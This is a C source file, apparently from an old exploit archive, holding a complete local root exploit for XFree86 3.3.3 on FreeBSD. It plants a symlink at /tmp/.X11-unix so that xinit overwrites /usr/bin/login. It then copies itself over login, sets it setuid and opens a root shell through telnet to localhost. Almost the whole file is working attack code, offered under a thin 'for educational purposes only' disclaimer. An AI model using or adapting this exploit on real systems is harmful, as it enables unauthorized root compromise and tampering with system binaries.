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xxploit.c
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C/C++ Source or Header
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2005-02-12
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2KB
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106 lines
/*** local XFree 3.3.3-symlink root-compromise.
*** Tested under FreeBSD 3.1 (but should work on others 2)
*** (C) 1999/2000 by Stealthf0rk for the K.A.L.U.G.
*** (check out http://www.kalug.lug.net/stealth or /coding for
*** other kewl stuff!)
***
*** FOR EDUCATIONAL PURPOSES ONLY!!! USE IT AT YOUR OWN RISK.
*** Even if this program restores all, you should backup your
*** login before running this.
***/
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#define LOGIN "/usr/bin/login"
#define TELNET "/usr/bin/telnet"
int cp(const char*, const char*, int);
int main(int argc, char **argv)
{
char *telnet[] = {TELNET, "localhost", NULL};
char *shell[] = {"/bin/sh", NULL};
char *X[] = {"/usr/X11R6/bin/xinit", NULL};
FILE *f = NULL;
int p = 0;
char buf[1000] = {0};
/* the rootshell */
if (!geteuid() || !getuid())
{
unlink(LOGIN);
cp("/tmp/L", LOGIN, 1);
chmod(LOGIN, 04555);
printf("Welcome!\n");
unlink("/tmp/.X11-unix");
unlink("/tmp/L");
execve(*shell, shell, NULL);
}
/* back up */
cp(LOGIN, "/tmp/L", 1);
if (symlink(LOGIN, "/tmp/.X11-unix") < 0)
{
perror("symlink (/tmp/.X11-unix)");
exit(errno);
}
if ((p = fork()) < 0)
{
perror("fork");
exit(errno);
}
else if (p > 0)
{
sleep(7);
kill(p, 9);
cp(argv[0], LOGIN, 1);
execve(telnet[0], telnet, NULL);
perror("fatal:");
}
else
{
printf("Xfree 3.3.3 root-sploit by Stealth. http://www.kalug.lug.net\n");
printf("\n-> Please give me some seconds... <-\n\n");
execve(X[0], X, NULL);
}
return 0;
}
int cp(const char *from, const char *to, int how)
{
int in = 0, out = 0, r = 0;
char buf[1000] = {0};
printf("cp %s %s\n", from, to);
/* overwrite ? */
if (how == 1)
how = O_RDWR|O_TRUNC|O_CREAT;
else
how = O_RDWR|O_CREAT;
if ((out = open(to, how)) < 0)
{
perror("open 1");
exit(errno);
}
if ((in = open(from, O_RDONLY)) < 0)
{
perror("open 2");
exit(errno);
}
while ((r = read(in, buf, 1000-1)) > 0)
{
write(out,buf,r);
memset(buf,0,1000);
}
close(in);
close(out);
return 0;
}
/* www.hack.co.za [2000]*/